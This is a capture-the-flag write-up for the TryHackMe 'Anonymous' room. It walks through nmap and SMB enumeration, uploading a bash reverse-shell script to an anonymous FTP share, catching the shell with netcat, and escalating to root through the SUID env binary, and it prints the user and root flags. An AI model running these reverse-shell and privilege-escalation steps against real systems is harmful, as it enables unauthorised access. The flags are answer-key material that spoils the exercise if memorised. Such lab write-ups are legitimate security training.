Anonymous

 Tryhackme - Anonymous

NMAP - Network mapper

#1 - Enumerate the machine. How many ports are open?

# nmap -sC -vv -A 10.10.138.102

Nmap scan:

ANSWER - 4

#2 - What service is running on port 21?

ANSWER - ftp

#3 - What service is running on ports 139 and 445?

ANSWER - smb

#4 - There’s a share on the user’s computer. What’s it called?

#smbclient -L 10.10.138.102

 

ANSWER - pics

#5 - user.txt

 

clean.sh

#!/bin/bash
bash -i >& /dev/tcp/10.8.192.14/4444 0>&1

Connect to the FTP server again:

ftp 10.10.37.186
Anonymous
cd scripts
put clean.sh

Now set up a netcat listener on the specified port: 

#nc - nvlp 4444                                                       
listening on [any] 4444 ...
connect to [10.8.192.14] from (UNKNOWN) [10.10.138.102] 54700
bash: cannot set terminal process group (1399): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
cat user.txt

90d6f992585815ff991e68748c414740

user flag - 90d6f992585815ff991e68748c414740

I tried to check my privileges with sudo -l but as I don’t have the user’s password, it failed. Let’s check what programs are owned by root with the SUID bit set:

Privilege Escalation

sudo -l doesn’t work so let’s check the SUID binaries. If you are unsure about finding and exploiting SUID binaries

To get a list of all SUID binaries, execute the following command:

#find / -user root -perm -u=s 2>/dev/null

/usr/bin/passwd
/usr/bin/env   <--- here
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
 

GTFOBins (https://gtfobins.github.io/gtfobins/env/) reveals a potential privilege escalation:

namelessone@anonymous:~$ env /bin/sh -p
# whoami
root
# cd /root
# ls
root.txt
# cat root.txt  
4d930091c31a622a7ed10f27999af363

root flag - 4d930091c31a622a7ed10f27999af363